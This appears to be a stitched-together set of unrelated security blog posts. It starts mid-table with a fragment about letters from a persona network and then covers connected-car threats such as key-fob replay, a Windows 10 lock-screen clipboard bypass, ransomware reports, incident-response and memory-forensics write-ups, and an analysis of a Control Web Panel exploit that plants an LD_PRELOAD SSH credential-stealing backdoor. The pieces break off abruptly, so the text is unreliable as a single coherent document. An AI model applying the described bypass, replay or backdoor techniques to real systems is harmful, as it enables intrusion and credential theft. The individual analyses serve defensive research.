Ed Sullivan Galveston Galveston County’s The Daily News (galvnews.com)
Title: “Escalating hostility toward Iran is wrong, dangerous”
The text of this letter is nearly identical to that authored by Jeremy Watte and published in The Baytown Sun on April 19, excepting changes made in several sentences.
https://www.galvnews.com/opinion/letters_to_editor/article_0409879b-fff9-5ab8-bbf5-a49a1c1592d9.html Table 2: Sample letters published in news outlets submitted by personas in this network Subscribe to Blogs Get email updates as new blog posts are added.
By Thomas Roccia on Mar 27, 2018 The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site JournalAuto.com.
Connected cars are growing rapidly in number and represent the next big step in personal transportation.
Auto sales are expected to triple between 2017 and 2022, to US$155.9 billion from $52.5 billion, according to PwC France .
Realizing this increase is a huge challenge for car companies as well as for IT security firms.
Through multiple added functions, from Wi-Fi and external connections to driving assistance and autonomous operations, connected cars will very soon need strong security to avoid any intrusions that could endanger drivers, passengers, and others.
Security Risks Modern cars are exposed to security risks just as are other connected devices.
Let’s look at current and future threats in the automotive security field.
The following diagram shows the main risks: Personal Data and Tracking Connected cars record a lot of information about their drivers.
This information can come from an external device connected to the car, such as a phone, and can include contact details, SMS and calls history, and even musical tastes.
A car can also record shifting patterns and other driver’s habits that could be used to create a picture of a driver’s competence.
This kind of oversight could aid insurance companies when offering coverage, for example.
With personal data now considered the new gold, all of this information represents a valuable target for cybercriminals as well as companies and governments.
Cybercriminals can use this stolen information for financial compensation and identity theft Companies can use this information for marketing or insurance contracts Governments can use this information for spying on and tracking people Faked Car Data Digital information can be modified and faked.
By altering data such as pollution tests or performance, companies can take advantage of the results to increase sales.
Similarly, drivers could modify car statistics such as distance traveled to fool insurance companies or future buyers.
Car Theft and Key Fob Hacking Key fob hacking is a technique to allow an intruder to enter a car without breaking in.
This technique is widely known by attackers and can be done easily with cheap hardware.
The attack consists of intercepting the signal from a wireless key to either block the signal to lock the car or replay the signal to gain access.
One variant of the attack uses a jammer to block the signal.
The jammer interferes with the electromagnetic waves used to communicate with the vehicle, blocking the signal and preventing the car from locking, leaving access free to the attacker.
Some jammers have a range of more than 500 meters.
Key fob jammer.
Another attack intercepts the signal sent by the key and replays it to open the door.
Auto manufacturers protect against this kind of attack by implementing security algorithms that avoid simple replays with same signal.
Each signal sent from the key to the car is unique, thus avoiding a replay.
However, one proof of concept for this attack blocks the signal to the car and stores it.
The driver’s first click on the key does not work but is recorded by the attacker.
The driver’s second click is also recorded, locking the car but giving two signals to the attackers.
The first signal recorded, which the car has not received, is used to unlock the door.
The second signal is stored for the attacker to use later.
Entering by the (CAN) Back Door Autos use several components to interact with their parts.
Since the end of the 20th century, cars have used the dedicated controller area network (CAN) standard to allow microcontrollers and devices to talk to each other.
The CAN bus communicates with a vehicle’s electronic control unit (ECU), which operates many subsystems such as antilock brakes, airbags, transmission, audio system, doors, and many other parts—including the engine.
Modern cars also have an On-Board Diagnostic Version 2 (OBD-II) port.
Mechanics use this port to diagnose problems.
CAN traffic can be intercepted from the OBD port.
The on-board diagnostic port.
An external OBD device could be plugged into a car as a backdoor for external commands, controlling services such as the Wi-Fi connection, performance statistics, and unlocking doors.
The OBD port offers a path for malicious activities if not secured.
Spam and Advertising Adding more services to connected cars can also add more security risks.
With the arrival of fully connected autos such as Teslas, which allow Internet access from a browser, it is feasible to deliver a new type of spam based on travel and geolocation.
Imagine a pop-up discount as you approach a fast-food restaurant.
Not only is this type of action likely to be unwanted, it could also provide a distraction to drivers.
We already know spam and advertising are infection vectors for malware.
Malware and Exploits All the ECUs in an auto contain firmware that can be hacked.
Cars employ in-vehicle infotainment (IVI) systems to control audio or video among other functions.
These systems are increasing in complexity.
An in-vehicle infotainment system.
MirrorLink, Bluetooth, and internal Wi-Fi are other technologies that improve the driving experience.
By connecting our smartphones to our cars, we add functions such as phone calls, SMS, and music and audiobooks, for example.
Malware can target these devices.
Phones, browsers, or the telecommunication networks embedded in our cars are infection vectors that can allow the installation of malware.
In 2016, McAfee security researchers demonstrated a ransomware proof of concept that blocked the use of the car until the ransom was paid.
A proof-of-concept IVI ransomware attack on a vehicle.
The ransomware was installed via an over-the-air system that allowed the connection of external equipment.
Third-Party Apps Many modern cars allow third parties to create applications to further connected services.
For example, it is possible to unlock or lock the door from your smartphone using an app.
Although these apps can be very convenient, they effectively open these services to anyone and can become a new attack vector.
It is easier to hack a smartphone app than a car’s ECU because the former is more affordable and offers many more resources.
Car apps are also vulnerable because some third parties employ weak security practices and credentials are sometimes stored in clear text.
These apps may also store personal information such as GPS data, car model, and other information.
This scenario has already been demonstrated by the OnStar app that allowed a hacker to remotely open a car.
Vehicle-to-Vehicle Communications Vehicle-to-vehicle (V2V) technology allows communications between vehicles on the road, using a wireless network.
This technology can aid security on the road by reducing a car’s speed when another vehicle is too close, for example.
It can also communicate with road sign devices (vehicle to infrastructure).
That transmitted information improves the driving experience as well as the security.
Now imagine this vector invaded by destructive malware.
If the V2V system becomes a vector, a malicious actor could create malware to infect many connected cars.
This sounds like a sci-fi scenario, right?
Yet it is not, if we compare this possibility with recent threats such as WannaCry or NotPetya that targeted computers with destructive malware.
It is not hard to predict such a nightmare scenario.
Conclusion Connected cars are taking over the roads and will radically change how we move about.
By enhancing the customer experience, the automotive and the tech industries will provide exciting new services.
Nonetheless, we need to consider the potential risks, with security implemented sooner rather than later.
Some of the scenarios in this post are already used in the wild; others could happen sooner than we expect.
References https://securingtomorrow.mcafee.com/mcafee-labs/defcon-connected-car-security/ https://www.wired.com/2015/08/hackers-tiny-device-unlocks-cars-opens-garages/ http://www.journalauto.com/lja/article.view/28181/securite-des-voitures-connectees-un-nouveau-defi-pour-le-secteur-automobile-en-2018/15/connectivite https://www.pwc.fr/fr/espace-presse/communiques-de-presse/2016/septembre/vehicules-connectes-un-marche-estime-a-156-milliards.html https://www.sans.org/reading-room/whitepapers/threats/hacking-bus-basic-manipulation-modern-automobile-through-bus-reverse-engineering-37825
Written by Will Gibb & Devon Kerr
In our blog post \"Investigating with Indicators of Compromise (IOCs) - Part I ,\" we presented a scenario involving the \"Acme Widgets Co.,\" a company investigating an intrusion, and its incident responder, John.
John's next objective is to examine the system \"ACMWH-KIOSK\" for evidence of attacker activity.
Using the IOCs containing the tactics, techniques and procedures (TTPs) he developed during the analysis of \"ACM-BOBBO,\" John identifies the following IOC hits: Table 1: IOC hit summary After reviewing IOC hits in Redline™ , John performs Live Response and put together the following timeline of suspicious activity on \"ACMWH-KIOSK\".
Table 2:
Summary of significant artifacts John examines the timeline in order to surmise the following chain of activities: On October 15, 2013, at approximately 16:17:56 UTC, the attacker performed a type 3 network logon, described here , to \"ACMWH-KIOSK\" from \"ACM-BOBBO\" using the ACME domain service account, \"backupDaily.\" A few seconds later, the attacker copied two executables, \"acmCleanup.exe\" and \"msspcheck.exe,\" from \"ACM-BOBBO\" to \"C:$RECYCLE.BIN.\" By generating MD5 hashes of both files, John determines that \"acmCleanup.exe\" is identical to the similarly named file on \"ACM-BOBBO\", which means it won't require malware analysis.
Since the MD5 hash of \"msspcheck.exe\" was not previously identified, John sends binary to a malware analyst, whose analysis reveals that \"msspcheck.exe\" is a variant of the \"acmCleanup.exe\" malware.
About a minute later, at 16:19:02 UTC, the attacker executed the Sysinternals PsExec remote command execution utility, which ran for approximately three minutes.
During this time period, event logs recorded the start and stop of the \"WCE SERVICE\" service, which corresponds to the execution of the Windows Credentials Editor (WCE).
John can assume PsExec was used to execute WCE, which is reasonable given the timeline of events and artifacts present on the system.
About seven minutes, later the registry recorded the modification of a Run key associated with persistence for \"msspcheck.exe.\" Finally, at 16:48:11 UTC, the attacker logged off from \"ACMWH-KIOSK\".
John found no additional evidence of compromise.
Since the IOCs are living documents, John's next step is to update his IOCs with relevant findings from his investigation of the kiosk system.
John updates the \"acmCleanup.exe (BACKDOOR)\" IOC with information from the \"msspcheck.exe\" variant of the attacker's backdoor including: File metadata like filename and MD5.
A uniquely named process handle discovered by John's malware analyst.
A prefetch entry for the \"msspcheck.exe\" binary.
Registry artifacts associated with persistence of \"msspcheck.exe.\"
From there, John double-checks the uniqueness of the additional filename with some search engine queries.
He can confirm that \"msspcheck.exe\" is a unique filename and update his \"acmCleanup.exe (BACKDOOR)\" IOC.
By updating his existing IOC, John ensures that he will be able to identify evidence attributed to this specific variant of the backdoor.
Changes to the original IOC have been indicated in green.
The updated IOC can be seen below: Figure 1: Augmented IOC for acmCleanup.exe (BACKDOOR)
John needs additional information before he can start to act.
He knows two things about the attacker that might be able to help him out:
The attacker is using a domain service account to perform network logons.
The attacker has been using WCE to obtain credentials and the \"WCE SERVICE\" service appears in event logs.
John turns to his security event and incident management (SEIM) system, which aggregates logs from his domain controllers, enterprise antivirus and intrusion detection systems.
A search of type 3 network logons using the \"backupDaily\" domain account turns up 23 different systems accessed using that account.
John runs another query for the \"WCE SERVICE\" and sees that logs from 3 domain controllers contain that service event.
John needs to look for IOCs across all Acme machines in a short period of time.
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By Steve Povolny on Jun 14, 2018 The McAfee Labs Advanced Threat Research team has been investigating the Windows 10 platform.
We have submitted several vulnerabilities already and have disclosed our research to Microsoft.
Please refer to our vulnerability disclosure policy for further details or the post from earlier this week on Windows 10 Cortana vulnerabilities.
Early last year, a trivial “information leak” was reported in Windows 10.
This technique no longer works on most current builds of Windows 10, but a variation of this simple method works quite well on some versions of Windows 10, specifically RS1 (RedStone 1).
The issue is simple to describe and execute.
For a local attack, you can use a physical keyboard; if there is a network vector that would allow one to remotely reach the Windows login screen (such as RDP), you can use the software-based keyboard accessible from the lock screen.
On all versions of Windows 10, the “paste” function appears to be intentionally forbidden from the Windows lock screen, including the “Hey Cortana” function.
The original finding demonstrated CTRL+V could be used to paste clipboard contents.
This is now disabled, even on RS1.
However, we have found a way to bypass this restriction using the keyboard shortcut CTRL + SHIFT + INSERT, allowing us to access in plain text the clipboard contents, whatever they may be.
While we are continuing to explore this technique to force-copy functions (and access arbitrary content), for now we can access whatever happens to be copied.
In the demo this is a password allowing login.
By Christiaan Beek and Raj Samani on Dec 20, 2017 In our recent research, we interviewed the actors behind ransomware campaigns.
One of the interesting findings was cybercriminals seemed to have a sense of absolute safety when conducting criminal operations.
Cybercrime is an area of crime like no other, perceived as low-risk with high returns, which contributes greatly to its rapid growth.
Today, with the arrest of individuals suspected of infecting computer systems by spreading the CTB Locker malware , a clear message has been sent—involvement in cybercrime is not zero-risk.
CTB Locker CTB Locker, also known as Critroni, is known as one of the largest ransomware families—helping to drive a new ransomware surge of 165 percent in 2015 as one of the top three ransomware families, and earning a spot as No.
1 just a year later.
Operation Tovar, in which law enforcement agencies took down the infrastructure responsible for spreading CryptoLocker, created a need for more malware—CTB Locker and CryptoWall malware families helped to fill the gap.
In June 2014, the CTB Locker authors began to advertise the malware family on the underground scene at a cost of $3,000USD, where people could buy the first versions for $1,500USD.
The authors also offered an affiliate program, which made CTB Locker infamous.
By sharing a percentage of the received ransoms, the affiliates ran the greater risk—because they had to spread the ransomware—but they also enjoyed the higher profits.
By using exploit kits and spam campaigns, the malware was distributed all over the world, mostly targeting “Tier 1” countries, those in which the victims could afford to pay and most likely would pay the ransom.
Midway through 2015, we gained unique information from an affiliate server that helped us tremendously in the subsequent investigations.
A CTB Locker affiliate server.
An example of CTB Locker source code.
Besides the use of an affiliate server in CTB Locker’s infrastructure, two other components complete the setup: a gateway server and a payment server.
Attacks Begin to Grow During 2016, a massive spam campaign struck the Netherlands.
Emails in Dutch seemed to originate from one of the largest telco providers.
The emails claimed to have the latest bill attached.
There was no bill, of course, rather CTB Locker asking for around $400USD of ransom to return files.
The grammar and word usage was near perfect—not what we commonly observe—and the names in the email were proof of a well-prepared campaign.
More than 200 cases in the Netherlands alone were filed with regards to these infections.
With attacks growing in number, the Dutch High Tech Crime Unit began an investigation.
The unit approached McAfee’s Advanced Threat Research team to assist in identifying samples and answering questions.
Following our research, we were kept updated and were informed that in the early morning of December 14 operation “Bakovia” started.
The initial research was on the CTB Locker ransomware but based on information from the U.S. Secret Service, it was determined that the same suspected gang was also linked to distribution of Cerber ransomware—another major family.
The Arrests During the operation in East Romania, six houses were searched whereby the investigators seized a significant amount of hard-drives, laptops, external-storage, crypto-currency mining rigs, and hundreds of SIM cards.
Suspects were arrested for allegedly spreading CTB Locker ransomware, and other suspects allegedly responsible for spreading Cerber were arrested at the airport in Bucharest.
Watch video of arrests.
The law enforcement action emphasizes the value of public-private partnerships and underscores the determination behind the McAfee mantra “Together is power.”
This is the final post in the three-part series: Finding Evil in Windows 10 Compressed Memory .
In the first post ( Volatility and Rekall Tools ), the FLARE team introduced updates to both memory forensic toolkits.
These updates enabled these open source tools to analyze previously inaccessible compressed data in memory.
This research was shared with the community at the 2019 SANS
DFIR Austin conference and is available on GitHub ( Volatility and Rekall ).
In the second post ( Virtual Store Deep Dive ), we looked at the structures and algorithms involved in locating and extracting compressed pages from the Store Manager.
The post included a walkthrough of a memory dump designed for analysts to be able to recreate in their own Windows 10 environments.
The structures referenced in the walkthrough were all previously analyzed in a disassembler, a manual effort which came in at around eight hours.
As you’d expect, this task quickly became a candidate for automation.
Our analysis time is now under two minutes!
This final post accompanies my and Dimiter Andonov's BlackHat USA 2019 talk with the series title and seeks to describe the challenges faced in maintaining software that ultimately relies on undocumented structures.
Here we introduce a solution to reduce the level of effort of analyzing undocumented structures.
Overview Undocumented structures within the Windows kernel are always subject to change.
The flexibility granted by not publicizing a structure’s composition can be invaluable to a development team.
It can allow for the system to grow unencumbered by the need to update helper functions and public documentation.
In many cases, even when a publicly available API designed to access the undocumented structures can be leveraged on a live system, incident responders and memory forensic analysts don’t have the luxury of utilizing them.
DFIR analysts operating on memory extractions or snapshots ultimately using tools which must recreate the job of an API by manually parsing and traversing structures and reimplementing algorithms used.
Unfortunately, these structures and algorithms are not always up to date in the analysts’ toolkit, leading to incomplete extractions or completely broken investigations.
These tools may cease to work after any given update.
This is the case with the Windows kernel’s Store Manager component.
Structures relied on to locate compressed data in RAM are constantly evolving.
This requires some flexibility built into the plugins and a means of reducing the analysis time required to reconstruct these structures.
Leveraging flare-emu To ease my Store Manager analysis efforts, I looked into Tom Bennett’s flare-emu utility .
flare-emu can be viewed as the marriage of IDA Pro with the Unicorn emulation engine.
The original use of the framework was to clean up Objective-C function call names due to ambiguity stemming from the unknown id argument for calls to objc_msgSend .
Tom was able to use emulation to resolve the ambiguity and clean up his analysis environment.
The value I saw in the framework was that the barrier to entry for using Unicorn was now lowered to a point where it could be used to rapidly prototype ideas.
flare-emu handles PE loading, memory faults, and function calls while guaranteeing traversal over code you would like to reach.
After analyzing a dozen Windows 10 kernels, I had become familiar enough with the process to begin automating the effort.
The automation of undocumented structures and algorithms requires one or more of the following properties to remain constant across builds.
Structure locations Function prototypes Order of structure memory access Structure field usage
Callstacks Let’s explore the example of locating the offset of ST_DATA_MGR.wCompressionFormat .
As shown in Figure 1, this field is the first argument to RtlDecompressBufferEx .
This function is publicly available and documented.
This is how we originally derived that offset 0x220 in the ST_DATA_MGR structure corresponded to the compression format of the store page in Windows 10 1703 (x86).
Figure 1: Call to RtlDecompressBuferEx, note that the compression format originates from ST_DATA_MGR
To leverage flare-emu in automating the extraction of the value 0x220, we have a few options.
For example, from analysis of other kernels, we know that the access to ST_DATA_MGR immediately before decompression is likely to be the compression format.
In this case, a stronger extraction algorithm can be leveraged by prepopulating ST_DATA_MGR with a known pattern (see Figure 2).
Figure 2: Known pattern copied into ST_DATA_MGR buffer Using flare-emu, we emulate the function in which this call is located and examine the stack post-emulation.
0x20101000 0x1163 0x31001200
0x1423 0x20001400 “Km” Figure 3:
Post-emulation stack layout Knowing that the wCompressionFormat argument originated from the ST_DATA_MGR structure, we see that it is now “Km”.
If we were to search for that value in the known pattern, we would find that it begins at offset 0x220.
Check out Figure 4 to see how we can leverage flare-emu to solve this challenge.
Figure 4: Code snippet from w10deflate_auto project demonstrating the automation of wCompressionFormat The decorators preceding the function signify that the extraction algorithm will work on both 32-bit and 64-bit architectures.
After generating a known pattern using a helper function within my project, flare-emu is used to allocate a buffer, storing a pointer to it in lp_stdatamgr .
The pointer is written into the ECX register because I know that the first argument to the parent function, StDmSinglePageCopy is the pointer to the ST_DATA_MGR structure.
The pHook function populates ECX prior to the emulation run.
The helper function locate_call_in_fn is usedto perform a relaxed search for RtlDecompressBufferEx within StDmSinglePageCopy .
Using flare-emu’s iterate function, I force emulation to reach decompression, at which point I read the first item on the stack and then search for it within my known pattern.
Techniques like the one described above are ultimately used to retrieve all structure fields involved in the page decompression and can be leveraged in other situations in which an undocumented structure may need tracking across Windows builds.
Figure 5 shows the automation utility extracting the fields of the undocumented structures used by the Volatility and Rekall plugins.
Figure 5:
Output of automation from within IDA Pro Keeping Volatility and Rekall Updated The data generated by the automation script is primarily useful when implemented in Volatility and Rekall.
In both Volatility and Rekall, the win10_memcompression.py overlay contains all structure definitions needed for page location and decompression.
Figure 6 shows a snippet from the file in which the Windows 10 1903 x86 profile is created.
Figure 6: Structure definition found within w10_memcompression.py overlay Create a new profile dictionary (ex.
win10_mem_comp_x86_1903 ) corresponding to the Windows build that you are targeting and populate the structure entries accordingly.
Conclusion Undocumented structures pose a challenge to those who rely on them.
This blog post covered how flare-emu can be leveraged to reduce the level of effort needed to analyze new files.
We analyzed the extraction of an ST_DATA_MGR field used in page decompression by presenting the problem and then the code involved with automating the effort.
The automation code is available on the FireEye GitHub with usage information and documentation available in both the README and code.
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FortiGuard Labs Threat Research Report Affected Platforms: Windows Impacted Parties: Japanese Minecraft Gamers Impact: Potential loss of files and money due to file encryption and destruction and paying ransom Severity Level: Medium Minecraft is one of the most popular digital games in the world.
It was originally released in May 2009 by Swedish game developer Mojang Studios, which was acquired by Microsoft in 2014 for US $2.5 billion.
Initially released for the Windows, Mac, and Linux platforms, the game is now available on 22 platforms including video game consoles and mobile devices, including Android and iOS.
As its gaming population has steadily grown, reaching more than 140 million monthly active players in August 2021, Minecraft has never been more popular 12 years after its initial release.
Evidently, cybercriminals cannot pass up the opportunity to target such a large userbase.
FortiGuard Labs recently discovered a variant of the Chaos ransomware that appears to target Minecraft gamers in Japan.
This variant not only encrypts certain files but also destroys others, rendering them unrecoverable.
If gamers fall prey to the attack, choosing to pay the ransom may still lead to a loss of data.
In this report we will take a look at how this new ransomware variant works.
Ransomware Lure Being Posted to Japanese Minecraft Forums Gamers create “alt” (alternative) accounts within Minecraft for various purposes (both good and bad): they allow them to antagonize/troll other players without having their main account banned, they provide cover for an alternative in-game identity/personality, they help avoid getting their main account banned for using cheats (gaining an unfair advantage over other gamers), etc.
FortiGuard Labs has discovered a variant of Chaos ransomware being hidden in a file pretending to contain a list of “Minecraft Alt” accounts that leads us to believe that the effort is to target Minecraft gamers in Japan.
Even though they are often publicly available through Minecraft online forums, Alt Lists contain stolen accounts that gamers can use to do the things listed above.
That’s what the threat actors behind this ransomware attack are using to lure victims to download and open the file.
In this case, the file is an executable, but it uses a text icon to fool potential victims into thinking it is a text file full of compromised usernames and passwords for Minecraft.
While we don’t know how this specific fake list is being distributed, it’s a safe guess that the file is being advertised on Minecraft forums for Japanese gamers.
How the Executable Works Once the executable file is opened, the malware searches for files smaller than 2,117,152 bytes  on the compromised machine and encrypts them.
It then appends those files with four random characters chosen from “abcdefghijklmnopqrstuvwxyz1234567890” as a file extension.
But files larger than 2,117,152 bytes with specified file extensions are filled with random bytes so the victim will not be able to get those files back even if the ransom is paid.
Having this destructive element changes this attack from a typical ransomware attack, and is a very troubling component.
It is not known why the malware authors have chosen these file size values or why they choose to encrypt some and destroy others.
But it is interesting to note that the Chaos malware was originally classified as a wiper malware with the ransomware component added later.
Once the attack takes place, a dropped ReadMe.txt files ask the victim to pay a ransom in either bitcoin or pre-paid cards.
The requested amount to decrypt the files is equal to 2,000 yen (approx.
US $17), which is dirt cheap compared to the amounts other ransomware attacks typically demand.
The ransom note does not specify which type of pre-paid card the attacker wants.
All kinds of pre-paid cards (online shopping, gaming, music, mobile phone charge and online streaming services) are available in convenience stores.
Japan has more than 50,000 convenience store locations selling pre-paid cards and most are open 24/7.
The ransom note also states that the attacker is available only on Saturdays and apologizes for any inconvenience caused.
The malware does not include code to identify the language setting of the compromised machine and the ransom note is available in Japanese only.
This, combined with the formal language of the ransom note, indicates this Chaos ransomware variant specifically targets Japanese Windows users.
The ransomware also deletes shadow copies from the compromised machine, which prevents the victim from being able to recover any files that had been encrypted, making it doubly destructive.
FortiGuard Labs previously released a blog about shadow copy deletion carried out by ransomware.
Luckily this Chaos ransomware variant does not have any code to steal data from the compromised machine.
The malware also changes the desktop wallpaper, perhaps to add more pressure to the victim to pay the ransom.
Conclusion - Chaos Ransomware Variant There is nothing fancy about this Chaos ransomware variant nor its infection vector.
However, despite its cheap ransom demand, its ability to destroy data and render it unrecoverable makes it more than a mere prank to annoy Japanese Minecraft gamers.
Ransomware is still ransomware, and in this case, the victim may not be able to get their original files back, with or without making a ransom payment.
The best advice is for players to stay off suspicious gaming cheat sites and simply enjoy the game the way it was meant to be played.
Fortinet Protections FortiGuard Labs has AV coverage in place for all of the malicious file samples in the report as: MSIL/Filecoder.
AGP!tr.ransom
Due to the ease of disruption, damage to daily operations , potential impact to the reputation of an organization, and the unwanted destruction or release of personally identifiable information (PII), etc., it is important to keep all AV and IPS signatures up to date.
IOCs SHA2: 1a00c3f9173ee4c6f944e2dcebe44ca71f06455951728af06eba0f945e084907 aacce549a756cd942ee79f57625d0902ce79315f4e4bfb1381afa208599d7be5 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
Learn more about FortiGuard Labs global threat intelligence and research and the FortiGuard Security Subscriptions and Services portfolio.
O n February 1 st , Juniper Threat Labs observed an attack that attempt ed to i nject malicious code in to Secure Shell (SSH) servers on Linux.
The attack begins with an exploit against the C ontrol Web Panel (CWP, formerly known as Centos Web Panel) server administration web application, injects code via LD_PRELOAD , and uses a custom, encrypted binary command-and-co ntrol protocol to exfiltrate credentials and machine capabilities.
As of this writing, the malware command-and-control server is still active.
Figure 1.
Attack chain Exploit Th e attack starts with a command injection against Control Web Panel: Figure 2.
HTTP request from initial attack CWP has been plagued by security issues, including 37 0-day vulnerabilities disclosed by the Zero Day Initiative in 2020 .
Among these is a failure to sanitize the service_restart paramet er , which follows a similar set of vulnerabilities in 2018 .
Because of the number of vulnerabilities in CWP, the intentional encryption and obfuscation of the ir source code ostensibly f or security reasons , and CWP ’s failure to respond to ZDI’s recent disclosures, it is difficult to ascertain which versions of CWP are or remain vulnerable to this attack.
In 2020, there were over 215k CWP installations accessible from the open internet, so the number of computers compromised in this campaign may be substantial.
Installation On successful exploitation of the web panel, the following commands are executed.
Figure 3.
Commands executed via CWP exploit First, the “sshins” installer binary is retrieved, executed, and deleted .
Then the CWP logs are wiped of any mention of sshins and the shell history is cleared.
The sshins binary is a 64-bit Linux ELF executable.
It is packed with UPX and t he packed file has garbage bytes appended to it in an attempt to hinder automated unpacking.
It does 3 things: Drops a Linux shared library to an architecture-specific location (in this case, /lib64/libs.so).
Writes the name of the dropped file to a text file at /etc/ld.so.preload Restarts the OpenSSH service.
Figure 4.
Console output from the installer Hijacking the OpenSSH server process Injecting the malicious code The file /etc/ld.so.preload contains a directive to the dynamic linker telling it to load the specified shared library first , and to give precedence to the exported functions from the ld-preloaded library .
Because the malicious libs.so library exports its own version of the bind () function, applications will use the backdoored version of this function instead of the standard implementation from Linux system libraries .
When the Open-SSH server daemon ( sshd ) restarts, libs.so will first execute an initialization function as the library is loaded, and then has the ability to inject its own code whenever sshd calls bind().
The sshd server processes use this hook in order to periodically beacon to the command-and-control (C2) server and to exfiltrate data , including a listing of system information such as CPU and OS details , amount of RAM, available disk space , and OpenSSH configuration :
Figure 5.
Strings from the disassembled library indicating data to be exfiltrated.
In addition to the continuously-ru nning server processes , sshd forks() a pair of new process es to handle each login connection .
From these session-specific processes, th e malicious bind() function launches an additional temporary sshd process that exfiltrates the incoming user’s login credentials .
Figure 6.
User credentials and computer identifier exfiltrated by the malware.
C2 communication
The C2 communication involves the server 176[.
]111.174.26 on port 443.
Port 443 is typically used for HTTPS but here the traffic is raw TCP , hiding in plain sight on a common port.
The server has a Russian IP address that is associated with a Bulgarian webhosting provider.
The client initiates communication with a simple directive , padded out to 8 bytes.
(As we’ll discuss below, the malware uses an encryption algorithm with an 8-byte block size, but even unencrypted messages are always a multiple of 8 in length .)
Following is the first packet sent to the server after the TCP handshake, with the 8-byte message highlighted.
Figure 7.
Initial TCP packet to C2 server, with payload highlighted.
The C2 server replies with the following message (TCP packet omitted for clarity) : Figure 8.
Server response.
The response consists of a header with the payload length (24 bytes), a command (0x0201), and the CRC32 checksum of the payload.
The 24-byte payload is used to encrypt the exfiltrated data that i s then sent back to the C2 server , as we’ll see in the next section.
Cryptography Data sent back to the C2 server is encrypted using a variant of the Blowfish encryption algorithm that was used to secure game assets on the Nin tendo and , more recently, incorp o rated into a reverse-engineering challenge from Kaspersky Lab .
Below is publicly available encryption code that was reverse-engineered from the DS : Figure 9.
Reverse-engineered Nintendo DS encryption routine, from https://github.com/RocketRobz/NTR_Launcher_3D/blob/master/twlnand-side/BootLoader/source/encryption.c.
Then we have the decompiled encryption routine from the preloaded library: Figure 10.
Corresponding encryption routine from the malware.
Note, in particular, the use of the constants 0x12, 0x112, 0x212, and 0x312 , which differs from the standard Blowfish implementation.
( The decom piled code is functionally identical to the Gameboy routine, differing only due to loop-unrolling and other compiler optimizations . )
While the underlying encryption routine is taken directly from publicly available code , the malware authors incorporate some additional tricks to thwart analysis and decryption.
Both Blowfish and the Nintendo variant require a n S-box lookup table that remains constant throughout the encryption and decryption processes.
But u nlike the Nintendo implementation , the malware mutate s its S-box prior to use.
First, as the table is loaded from program memory, it is subject to several static transformations that make it harder to correlate the stored table with the one used for encryption.
Then the encryption algorithm is run against portions of its own S-box , transforming it at each step.
This process is initialized using part of the 24-byte payload received from the C2 server.
Once the table has been fixed, the actual encryption begins.
T he malware improves upon the Nintendo implementation by adding cipher-block chaining (CBC) .
With CBC, each 8-byte plaintext block is first XOR e d against the encrypted output from the previous block, and then that value is encrypted.
The result is a chain where the encrypted value of each block depends on the value of the previous block.
To start this process, the first block is XORed against an initialization vector (IV) .
Here, the IV is itself the XOR of the first and last 8 bytes of the payload from the C2 server.
Without CBC, a symmetric encryption algorith m is vulnerable to frequency analysis when the block size is small as well as other attacks in the general case.
It appears that t he authors of this malware went to a surprising amount of trouble to strengthen the Nintendo DS encryption, in stark contrast to the noisy behavior of the ir sshins installer.
Conclusion Without allowing our compromised test machine to remain connected to the internet and be used for malicious purposes , it’s difficult to ascertain the exact motivations of the authors.
But because the malware catalogs detailed system information and credentials but does not immediately begin mining cryptocurrency or amplifying the attack by attempting to spread further, we suspect that access to the compromised machines will be sold or rented as part of a botnet.
Detection The malware and C2 server used in this campaign are detected and blocked by Juniper ATP and Juniper ATP Cloud, and the malicious traffic is detected by the IDP rule SSL:VULN:CWP-LINUX-C2-BACKDOR.
Figure 11.
Detection on Juniper ATP Cloud IOCs 176[.
]111.174.26    C2 server ab9cc4ee82aa6f57ba2a113aab905c33e278c969399db4188d0ea5942ad3bb7d  sshins (as delivered)
936ca431d17d738beab9735a3d6e658ff29f8337f52353fd60e286c94dd2c06b  sshins (unpacked by UPX, after deleting appended data)
c8df513e9e4848e35af5246a2ba797540b68a9379a1df17e34550cb0258960e8  sshins (manually unpacked) f51e83a53dd3a364709b1d0b93489f7a114b529268c3bab726ed288eba036bca  /lib64/
libs.so 948b6c5fc1ba74ed57388241d1e8656e0ca082d10ff834c628d01c592764926d  /lib64/
libs.so 56ce53b6c32beacd8864258c81bf276304a8da20bc0011f5e09d37b95a3e5def  /lib64/libs.so b5e29bdb105ae0e76d75c3d3959954c4f6610cd39aaa8f3aa852dd624e662480  /etc/
ld.so.preload
Though COVID-19 has had enormous effects on our society and economy, its effects on the cyber threat landscape remain limited.
For the most part, the same actors we have always tracked are behaving in the same manner they did prior to the crisis.
There are some new challenges, but they are perceptible, and we—and our customers—are prepared to continue this fight through this period of unprecedented change.
The significant shifts in the threat landscape we are currently tracking include: The sudden major increase in a remote workforce has changed the nature and vulnerability of enterprise networks.
Threat actors are now leveraging COVID-19 and related topics in social engineering ploys.
We anticipate increased collection by cyber espionage actors seeking to gather intelligence on the crisis.
Healthcare operations, related manufacturing, logistics, and administration organizations, as well as government offices involved in responding to the crisis are increasingly critical and vulnerable to disruptive attacks such as ransomware.
Information operations actors have seized on the crisis to promote narratives primarily to domestic or near-abroad audiences.
Same Actors, New Content The same threat actors and malware families that we observed prior to the crisis are largely pursuing the same objectives as before the crisis, using many of the same tools.
They are simply now leveraging the crisis as a means of social engineering.
This pattern of behavior is familiar.
Threat actors have always capitalized on major events and crises to entice users.
Many of the actors who are now using this approach have been tracked for years.
Ultimately, COVID-19 is being adopted broadly in social engineering approaches because it is has widespread, generic appeal, and there is a genuine thirst for information on the subject that encourages users to take actions when they might otherwise have been circumspect.
We have seen it used by several cyber criminal and cyber espionage actors, and in underground communities some actors have created tools to enable effective social engineering exploiting the coronavirus pandemic.
Nonetheless, COVID-19 content is still only used in two percent of malicious emails.
For the time being, we do not believe this social engineering will be abetting.
In fact, it is likely to take many forms as changes in policy, economics, and other unforeseen consequences manifest.
Recently we predicted a spike in stimulus related social engineering , for example.
Additionally, the FBI has recently released a press release anticipating a rise in COVID-19 related Business Email Compromise (BEC) scams.
State Actors Likely Very Busy Given that COVID-19 is the undoubtedly the overwhelming concern of governments worldwide for the time being, we anticipated targeting of government, healthcare, biotech, and other sectors by cyber espionage actors.
